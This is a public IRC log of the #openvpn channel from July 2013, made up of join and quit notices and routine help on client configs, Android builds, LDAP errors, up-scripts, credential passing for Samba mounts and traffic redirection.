17:17 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 276 seconds]
17:23 -!- pmatulis [~peter@64.34.151.178] has left #openvpn []
17:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds]
17:34 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 260 seconds]
17:37 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
17:53 -!- Muffins [~nanderson@69.146.233.50] has quit [Quit: Leaving]
17:59 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 240 seconds]
17:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
17:59 -!- mode/#openvpn [+o plaisthos] by ChanServ
18:06 -!- dooglus [~biufter@unaffiliated/dooglus] has quit [Ping timeout: 264 seconds]
18:06 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:10 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
18:13 -!- dooglus [~biufter@unaffiliated/dooglus] has joined #openvpn
18:19 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
18:22 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:27 -!- klein [~klein@177.101.114.141] has joined #openvpn
18:27 -!- klein [~klein@177.101.114.141] has quit [Changing host]
18:27 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:47 -!- master_o1_master [~master_of@p4FF249BA.dip0.t-ipconnect.de] has joined #openvpn
18:51 -!- master_of_master [~master_of@p4FF249D1.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
19:13 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
19:23 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
19:31 -!- raidz is now known as raidz_away
19:38 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:41 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 260 seconds]
19:41 -!- jive [~jive@69.136.92.21] has joined #openvpn
19:44 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 248 seconds]
19:46 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:49 -!- jive [~jive@69.136.92.21] has quit [Ping timeout: 240 seconds]
19:51 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
19:51 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:53 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
19:56 -!- p3rror [~p3rror@41.140.102.100] has joined #openvpn
20:00 -!- p3rror [~p3rror@41.140.102.100] has quit [Read error: Operation timed out]
21:18 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
21:19 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
21:21 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
21:54 -!- kro[au] [~thatguy@kgovps.com] has quit [Ping timeout: 240 seconds]
21:55 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:31 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 246 seconds]
22:33 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 268 seconds]
22:45 -!- Muffins [~Muffins@host-98-127-85-158.lar-wy.client.bresnan.net] has joined #openvpn
23:09 < emid> ping 10.12.12.85
23:09 < emid> lol..wrong windw
23:09 < emid> window
--- Day changed Thu Jul 25 2013
00:13 < BtbN> Nice... openvpn for windows just crashes in tap mode -_-
00:28 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
00:29 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
00:29 -!- mode/#openvpn [+o krzee] by ChanServ
00:32 <+hazardous> anyone know how easily i can run say, 10 separate openvpn clients
00:32 <+hazardous> all on diff configs, and for specific routes only
00:38 -!- Muffins [~Muffins@host-98-127-85-158.lar-wy.client.bresnan.net] has quit [Remote host closed the connection]
00:38 <@krzee> BtbN, you using it from here:
00:38 <@krzee> !download
00:38 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
00:38 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
00:38 <@krzee> #1
00:39 <@krzee> hazardous, by configuring it?
00:39 <@krzee> its as easy as correctly setting it all up
00:40 <@krzee> i have 11 configs set up here, 8 of them currently running
00:40 -!- oBadAtom is now known as BadAtom
00:50 <+hazardous> ok, thx
00:51 <+hazardous> just wanted to make sure (i usually use AS, but migrating some stuff to openvpn community)
00:55 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:03 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 256 seconds]
01:03 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
01:20 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:37 -!- kro[au]] [~thatguy@kgovps.com] has joined #openvpn
01:38 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
02:01 -!- kro[au]] is now known as kro[au]
02:07 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:10 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 248 seconds]
02:13 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
02:29 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
02:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:40 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
02:41 -!- yanqian1 [~Chian_Yan@210.13.120.132] has joined #openvpn
03:12 < BtbN> krzee: the config is as minimal as possible
03:12 < BtbN> i can see the dhcp request on the server, so it's basicaly working
03:12 < BtbN> but then crashes
03:14 < BtbN> The Windows client is still at 2.3.1, will try with 2.3.2 later today
03:52 -!- xbanux1 [~xbanux@114.143.216.139] has joined #openvpn
03:53 -!- xbanux1 [~xbanux@114.143.216.139] has quit [Client Quit]
04:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:57 -!- KeyboardNotFound [~KeyboardN@unaffiliated/keyboardnotfound] has joined #openvpn
04:57 < KeyboardNotFound> !welcome
04:57 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
04:57 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:58 < KeyboardNotFound> !goal
04:58 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
04:58 < KeyboardNotFound> so!
04:59 < KeyboardNotFound> How to connect to openVPN server? I use ubuntu? Am I need to install client ?
05:04 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:06 -!- KeyboardNotFound [~KeyboardN@unaffiliated/keyboardnotfound] has quit [Read error: Connection reset by peer]
05:28 -!- kyrix_ [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:28 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Read error: Connection reset by peer]
05:53 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:55 -!- yanqian1 [~Chian_Yan@210.13.120.132] has left #openvpn []
06:23 -!- kyrix_ [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Remote host closed the connection]
06:31 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:35 -!- Denial [Denial@90.202.26.221] has joined #openvpn
06:37 -!- JAVACODER [~JAVACODER@2.190.39.135] has joined #openvpn
06:51 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
06:52 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: No route to host]
06:53 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
06:56 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 248 seconds]
06:57 -!- Denial [Denial@90.202.26.221] has quit [Ping timeout: 264 seconds]
07:02 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
07:07 -!- xBytez [~xbytez@xbytez.xxx] has quit [Remote host closed the connection]
07:13 -!- Denial [Denial@90.202.5.141] has joined #openvpn
07:17 -!- defswork [~andy@141.0.50.105] has joined #openvpn
07:27 -!- kirin` [telex@gateway/shell/anapnea.net/x-xenbdycappnzmirm] has quit [Ping timeout: 260 seconds]
07:28 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 245 seconds]
07:28 -!- kirin` [telex@gateway/shell/anapnea.net/x-mhnxujzmfvycejmz] has joined #openvpn
07:30 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
07:38 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has joined #openvpn
07:38 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has quit [Changing host]
07:38 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:40 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 246 seconds]
07:47 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:05 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
08:12 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
08:20 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
08:24 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
08:25 -!- Poison [~Poison@lethaliagaming.com] has joined #openvpn
08:32 -!- russoisraeli [~igor@pool-173-54-233-131.nwrknj.fios.verizon.net] has joined #openvpn
08:33 < russoisraeli> hello folks. I have a question. I would like my OpenVPN Windows clients to run a "net use" to connect a Samba share upon connecting... however, that would require a username/password... is there a way to pass that from OpenVPN to make it more transparent
08:38 <@ecrist> what do you mean?
08:38 <@ecrist> you can have an --up script
08:38 <@ecrist> open vpn will execute the script
08:40 -!- russoisraeli [~igor@pool-173-54-233-131.nwrknj.fios.verizon.net] has quit [Ping timeout: 240 seconds]
08:41 < Dar1us> I think the qeustion is more about openvpn passing the credentials the user typed in to a script
08:41 < Dar1us> so that script can then use those credentials to connect to a network share
08:43 < Dar1us> oh he left
08:44 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
08:53 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
08:53 -!- russoisraeli [~igor@vpn10-client-a3.Princeton.EDU] has joined #openvpn
08:57 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
09:01 -!- russoisraeli [~igor@vpn10-client-a3.Princeton.EDU] has quit [Quit: Ухожу я от вас (xchat 2.4.5 или старше)]
09:05 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 260 seconds]
09:10 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
09:11 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Read error: Connection reset by peer]
09:12 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
09:12 -!- russoisraeli [~igor@vpn10-client-a3.Princeton.EDU] has joined #openvpn
09:15 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Remote host closed the connection]
09:23 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
09:23 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Remote host closed the connection]
09:24 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
09:25 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:25 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Remote host closed the connection]
09:31 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
09:40 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
09:48 -!- KeyboardNotFound [~KeyboardN@unaffiliated/keyboardnotfound] has joined #openvpn
09:48 < KeyboardNotFound> How to install openvpn on server ?
09:50 <@ecrist> depends on the OS
09:51 < rob0> And usually you'd need a keyboard.
09:51 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
09:53 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:56 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:58 <@ecrist> lol rob0 
10:11 < kisom> People should need a license to be on IRC
10:13 -!- raidz_away is now known as raidz
10:18 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Remote host closed the connection]
10:18 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
10:23 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 246 seconds]
10:24 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
10:26 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
10:28 -!- KeyboardNotFound [~KeyboardN@unaffiliated/keyboardnotfound] has left #openvpn ["Leaving"]
10:29 -!- childofthehorn [~childofth@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
10:29 < childofthehorn> hola
10:29 < childofthehorn> Anyone done work with the OpenVPN for Android
10:29 < childofthehorn> ?
10:30 <@plaisthos> yes
10:34 <@plaisthos> childofthehorn: what is your question?
10:35 < childofthehorn> So. I am building libovpn
10:35 < childofthehorn> against my openssl
10:35 <@plaisthos> are you are the openssl building guy :D
10:35 < childofthehorn> but I am trying to convert the OpenVPN to use my pre-configged and working libs
10:35 < childofthehorn> libssl and libcrypto
10:36 < childofthehorn> yes I am
10:36 < childofthehorn> I am having better luck today
10:36 <@plaisthos> just put them into the libs directory
10:36 <@plaisthos> should be enough
10:36 < childofthehorn> the /obj
10:37 <@plaisthos> the build script deletes them from libs so the platform openssl is used and the apk is smaller
10:37 < childofthehorn> yeah I want it to be a clean build
10:37 < childofthehorn> more than just "it builds"
10:37 < childofthehorn> BTW hi!
10:38 < childofthehorn> I am changing some of the bit in the android-config
10:38 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 248 seconds]
10:38 <@plaisthos> childofthehorn: of the openvpn dir?
10:38 -!- JAVACODER [~JAVACODER@2.190.39.135] has left #openvpn ["JAVACODER"]
10:38 < childofthehorn> namely the CFLAGS
10:38 < childofthehorn> openssl
10:38 <@plaisthos> err .. yes
10:38 <@plaisthos> you should also remove the "rm ..." stuff from the buildnative script
10:39 < childofthehorn> I want the whole thing to build cleanly, added another dir to the build-native
10:39 < childofthehorn> it does
10:39 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
10:39 < childofthehorn> I also fixed a little mux-up in the /jni
10:39 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
10:39 < childofthehorn> to check the breakpad stuff
10:40 < childofthehorn> if breakpad is not in path, skips and does WITH_BREAKPAD=0
10:40 -!- MrQuist [~rob@a83-161-153-22.adsl.xs4all.nl] has joined #openvpn
10:40 < MrQuist> hey guys
10:41 < MrQuist> I have a question about the LDAP link here
10:41 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
10:41 < MrQuist> something  weird is going on. When users log in i get this error;
10:41 < MrQuist> LDAP search failed: Operations error (000004DC: LdapErr: DSID-0C0906E8, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v1db1)
10:42 < MrQuist> yet, if i try ldapsearch -LLL it works
10:42 < childofthehorn> BTW - thanks for this being so striaghtforward with most of the make files
10:42 < childofthehorn> you really should upload this to the Cyanogenmod branch
10:42 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
10:42 <@plaisthos> childofthehorn: hm why to Cyanogenmod?
10:43 <@plaisthos> my app has nothing to do with cyanogenmod
10:43 < childofthehorn> the versions in the native build tree are the older ones
10:43 < childofthehorn>  I can convert it for you if you want
10:43 < childofthehorn>  but since it looks like your code
10:43 < childofthehorn>  you just have to change the openvpn section to build the binary
10:44 <@plaisthos> childofthehorn: My version break normal "native" openvpn
10:44 <@plaisthos> the openvpn binary of my build is ONLY usable with the app
10:44 < childofthehorn> yeah... it needs some work
10:44 < childofthehorn> but its helpful to see the pieces
10:44 <@plaisthos> Iirc the cyangenmod version is based on this client: https://github.com/kghost/ics-openvpn
10:45 <@vpnHelper> Title: kghost/ics-openvpn · GitHub (at github.com)
10:46 <@plaisthos> (same name, completly different software)
10:47 < MrQuist> i am having the exact same problem as this fellow; https://forums.openvpn.net/topic13076.html
10:47 <@vpnHelper> Title: OpenVPN Support Forum openvpn-auth-ldap always failing binding : Server Administration (at forums.openvpn.net)
10:48 < MrQuist> Is there someone willing to help me out?
10:49 < childofthehorn> it is.
10:49 < childofthehorn> but its more like the version need to be updated
10:49 < childofthehorn> openssl is 1.0.1c and openvpn is 2.2.1 IIRC
10:50 < childofthehorn> which is a bit old now
10:50 < childofthehorn> but stable
10:52 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 246 seconds]
10:52 <@plaisthos> Does cyanogenmod still ship openvpn binary?
10:53 <@plaisthos> Or only in older version?
10:53 < childofthehorn> the 2.2.1 binary
10:53 <@plaisthos> I meant if CM10.1 still ships openvpn
10:53 <@EugeneKay> Only in CM7; CM9+ you use the ICS API via the Play app
10:53 < childofthehorn> if you grab the tree it will be in external/openvpn
10:53 < childofthehorn> same for openssl
10:54 < childofthehorn> then its usable in the normal settings vpn interface
10:54 < childofthehorn> or through the terminal
10:54 < childofthehorn> but not much in the way of options..
10:54 <@EugeneKay> Nobody's fiddled with it since CM7 AFAIK, so it'll be lolbroken
10:54 < childofthehorn> Hey Eugene
10:55 < childofthehorn> its Stacy btw
10:55  * EugeneKay belches loudly
10:55 < childofthehorn> one more reason to make it happy
10:55 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
10:56 < childofthehorn> I can do it. Been working on my own PenTesting Mod distro, but of course is based off CM
10:56 <@EugeneKay> Patches welcome :-p
10:57 < childofthehorn> *will push repo*
10:57 <@plaisthos> childofthehorn: do you need IDEA or some other strange algorithm for OpenSSL?
10:58 < childofthehorn> I have a special module that my work requires
10:58 <@plaisthos> ah even more special ;)
10:58 < childofthehorn>  I am sick of no being able to connect and DL files on my work phone
10:58 < MrQuist> Nevermind then, i'll use RADIUS
10:59 < childofthehorn> Plus, I have to support eleciptal curve
10:59 < childofthehorn> elliptical*
11:00 < childofthehorn> which is part of their module
11:00 < childofthehorn> so ... fun
11:00 <@EugeneKay> This is the point of the exercise where I hit the Tether button on my phone and boot the laptop
11:00 < childofthehorn> Got the whole thing building and compiling and working libssl and libcrypto with the module for ANdroid
11:01 < childofthehorn> Ahh... but Eugene... think about this with the Ubuntu Phone
11:01 <@EugeneKay> Yeah, I could buy a brand-new Nexus 4 AND a brand-new laptop, and still have $20 for beer!
11:02 < childofthehorn> I cannot live with 16GB of storage
11:02 <@plaisthos> I dislike Ubuntu more and more (as a company)
11:02 < childofthehorn> which is why I caved and got the S4 GE
11:02 <@plaisthos> Crowdfunding? Really? As a company which has enough money to support it own its own.
11:02 < childofthehorn> ist all about testing the market
11:03 <@EugeneKay> Run by a guy with enough money to buy his way into SPACE.
11:03 < childofthehorn> The ARM division is still run by cool people
11:03 < childofthehorn> but most of the people I deal with are doing the ARM Micro Servers
11:04 < childofthehorn> or Linaro stuff
11:04 < childofthehorn> Still $600 is a fair price for that hardware
11:04 < childofthehorn> $830? not so much....
11:04 -!- Poison [~Poison@lethaliagaming.com] has quit [Ping timeout: 256 seconds]
11:07 <@EugeneKay> And thus, the lulz ensue.
11:08 < childofthehorn> Why is it so hard for them to make a 64GB mako?
11:09 < childofthehorn> beside LG .... bad expierences
11:09 < childofthehorn> why can I not spell today?
11:09 <@EugeneKay> "Because fuck you, that's why."
11:09 <@EugeneKay> On both questions
11:10 < childofthehorn> yeah thats kinda what LG does any time you really hit them for full source
11:10 < childofthehorn>  or an accurate rild
11:12 < childofthehorn> LG has to answer the question of "How do you fuck up Qualcomm code you got for FREE?!"
11:13 -!- mattock_afk is now known as mattock
11:13 < childofthehorn> *just scorned from the LG-P930 variants*
11:14 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
11:15 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
11:19 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
11:23 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:27 -!- Improv [~pgunn@dachte.org] has joined #openvpn
11:27 < Improv> Do OpenVPN servers have the ability to send messages to clients after initial configuration?
11:29 <@ecrist> what kind of messages?
11:30 < Improv> setenv, or new routes, or --echo, or other things like that
11:42 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-hgsahotawmmskueb] has quit [Excess Flood]
11:44 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-qwsvsjkkhjdruzzr] has joined #openvpn
11:54 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:00 -!- russoisraeli [~igor@vpn10-client-a3.Princeton.EDU] has quit [Quit: Ухожу я от вас (xchat 2.4.5 или старше)]
12:02 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
12:05 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:06 -!- russoisraeli [~igor@pool-173-54-233-131.nwrknj.fios.verizon.net] has joined #openvpn
12:07 < russoisraeli> hello guys. Silly question. Where do I put "script-security" - server or client side? Also the up/down script definitions - does that go on the client or the server? what about the scripts themsevles?
12:08 < Improv> We talking client or server scripts?
12:08 <@EugeneKay> Wherever you will be running a script
12:08 < Improv> Either the client or the server can run scripts, or both.
12:08 <@EugeneKay> And it depends entirely upon the script you're running
12:08 < russoisraeli> I need the client to run the script
12:08 < russoisraeli> so then all would go in the client's definition, correct?
12:08 < Improv> russo: Then the directive belongs in the client's config
12:09 < russoisraeli> and the scripts themselves would also go on the client, right?
12:09 < Improv> People might legitimately want to run scripts on the client or the server, or both.
12:09 < Improv> Yes.
12:09 < russoisraeli> yeah, this makes sense
12:09 < russoisraeli> also, when the user authenticates using user/pass, will his user/pass pass as environment variables to the scripts?
12:11 <@EugeneKay> !script
12:11 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
12:11 <@EugeneKay> Read ^
12:11 < russoisraeli> thanks guys!
12:11 <+pekster> Note that 'via-env' is a poor way to pass the user/pass since many OSes expose the enviornment to other processes
12:12 <+pekster> Best to use a file on a ram-based FS, like tmpfs or such
12:12 <@EugeneKay> If somebody has an account on your box, they've already won :-p
12:12 <+pekster> Or if they managed to exploit another running service to show you `ps aux` or something
12:12 < russoisraeli> yeah, but this is Windows..... and I have to compromise between users typing in the password twice (for Samba connection and VPN connection) and their convenience :(
12:12 <+pekster> "Look ma, no account needed!"
12:13 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 276 seconds]
12:13 < russoisraeli> i wish there was a good way to pass credentials to mount a fileshare... but all i can think of is this
12:14 <+pekster> In a domain environment SSO works as you'd expect; if you want, you can even have the cert be installed in the user's CryptoAPI context so it's availble a the user logs in
12:15 <+pekster> Of course, if you don't have a separate password to that, anyone with physical access to an unlocked workstation can simply connect, so that's less secure unless everyone always locks their PC
12:15 <+pekster> cert == OpenVPN cert
12:15 < russoisraeli> I don't have a domain environment... I have OpenLDAP/Kerberos on the server side... but the users are essentially road warriors
12:16 < russoisraeli> they use client side certs for openvpn, and I want to add authentication via the pam plugin
12:16 <+pekster> Sure, just offering SSO solutions, but you need to go into the MS domain path for that
12:17 < russoisraeli> I am anti-M$ :)
12:17 < russoisraeli> but thanks...
12:17 < russoisraeli> maybe I'll just make them type away
12:18 <+pekster> A clever frontend could probably use the same password both to pass to openvpn (perhaps via the management interface) and then also use the same credentials after a successful connection to mount CIFS too
12:18 <+pekster> That's up to you to design, but the flexibility is there in openvpn to script away from the client side
12:19 < russoisraeli> yeah, I hear you... I guess it calls for coding....or modifying the openvpn gui, if it's open
12:22 < russoisraeli> hhmmm... actually now I am thinking.... if I kerberize Samba, then maybe I could simply accomplish that with Kerberos...
12:24 < dr_casper_wirele> do any of you guys know how "hamachi" works?
12:24 <@EugeneKay> !notopenvpn
12:24 <@vpnHelper> "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
12:24 < russoisraeli> sorry... just thinking
12:24 < russoisraeli> thanks guys
12:24 <@EugeneKay> Not you
12:25 <@EugeneKay> Samba is easy to integrate with AD
12:25 <@EugeneKay> Well, not easy, but no coding :-p
12:25 <+pekster> Your issue is at least party related to openvpn (including the possible use of SSO with openvpn with openvpn features like querying the management channel for creds, etc)
12:25 <+pekster> The other question was not :P
12:26 <@EugeneKay> I don't even remember the steps I took to get my smb fileserver working with AD
12:26  * EugeneKay needs to take better notes
12:26 <+pekster> Or just dump configs to a source repo somewhere
12:27 -!- Roelke__ is now known as Roelke
12:28 <@EugeneKay> Those I have. The process involved fiddling my AD schema and a keytab, I think
12:28 <@EugeneKay> My Domain is..... special.
12:30 < russoisraeli> heh, yeah...well the process is a bit easier than integrating with OpenLDAP/Kerberos I think... OpenLDAP needs crazy schema manipulations to give Samba what it wants
12:30 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:30 < russoisraeli> but stuff is documented better and better
12:31 < russoisraeli> back to OpenVPN... any idea what's the "base" path for scripts in Windows
12:31 < russoisraeli> i.e
12:31 < russoisraeli>   up  relativepath
12:32 < rob0> see --cd in the man page.
12:40 -!- u1204 [~u1204@44.99.191.90.dyn.estpak.ee] has joined #openvpn
12:46 < u1204> hello
12:46 < u1204> I need some help
12:46 < u1204> I built my own vpn server (followed this tutorial to the letter: http://blog.remibergsma.com/2013/01/05/building-an-economical-openvpn-server-using-the-raspberry-pi/ ). It works, but I am unable to forward all traffic through the vpn server.
12:47 <@EugeneKay> !forward
12:47 < u1204> when I try to ping www.google.com, I get only the following : PING www.google.com (173.194.113.180) 56(84) bytes of data.
12:47 <@EugeneKay> !redirect
12:47 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:47 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
12:47 <@EugeneKay> Helps if I remember the factoid
12:48 < u1204> there is no response from Google server
12:48 < u1204> could it be related DNS issue?
12:48 -!- russoisraeli [~igor@pool-173-54-233-131.nwrknj.fios.verizon.net] has quit [Ping timeout: 246 seconds]
12:50 < rob0> See the flowchart.
12:50 < u1204> thanks, I will follow the algorithm and see where I shall reach
12:53 -!- defswork [~andy@141.0.50.105] has joined #openvpn
12:53 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 264 seconds]
12:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 246 seconds]
12:58 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
13:10 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 240 seconds]
13:11 -!- u1204 [~u1204@44.99.191.90.dyn.estpak.ee] has quit [Quit: Leaving]
